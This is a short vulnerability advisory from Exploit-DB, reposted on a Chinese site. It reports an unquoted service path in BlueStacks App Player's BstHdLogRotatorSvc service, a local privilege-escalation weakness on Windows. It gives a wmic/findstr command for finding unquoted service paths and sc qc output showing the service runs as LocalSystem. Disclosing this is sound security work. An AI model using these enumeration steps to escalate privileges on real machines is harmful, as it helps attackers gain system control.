Blue Stacks App Player 2.4.44.62.57 – “BstHdLogRotatorSvc” Unquote Service Path

• Exploit Database
• 127 阅读

• 作者： Diego Armando Buztamante Rico
  日期： 2019-11-05
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/47582/
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  # Exploit Title: Blue Stacks App Player 2.4.44.62.57 - "BstHdLogRotatorSvc" Unquote Service Path # Date: 2019-11-09 # Exploit Author: Diego Armando Buztamante Rico # Vendor Homepage: www.bluestacks.com # Software Link: www.bluestacks.com # Version: 2.4.44.62.57 # Tested on: Windows 8.1 Pro # CVE: NA   #Description #Blue Stacks is an application which allows to run mobile apps on Windows and Mac. #The service BstHdLogRotatorSvc is use to allow HD displays of Blue Stacks app. #The service suffers from an unquoted path.   #PoC using CMD #Command to discover the unquoted path:   C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V """"   #As a result we have   BlueStacks Log Rotator Service BstHdLogRotatorSvc C:\Program Files (x86)\Bluestacks\HD-LogRotatorService.exeAuto   #We use the name of service to get its information using next command.   C:\Users\user>sc qc BstHdLogRotatorSvc [SC] QueryServiceConfig CORRECTO   NOMBRE_SERVICIO: BstHdLogRotatorSvc TIPO : 10WIN32_OWN_PROCESS TIPO_INICIO: 2 AUTO_START CONTROL_ERROR: 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Bluestacks\HD-LogRotatorService.exe GRUPO_ORDEN_CARGA: ETIQUETA : 0 NOMBRE_MOSTRAR : BlueStacks Log Rotator Service DEPENDENCIAS : NOMBRE_INICIO_SERVICIO: LocalSystem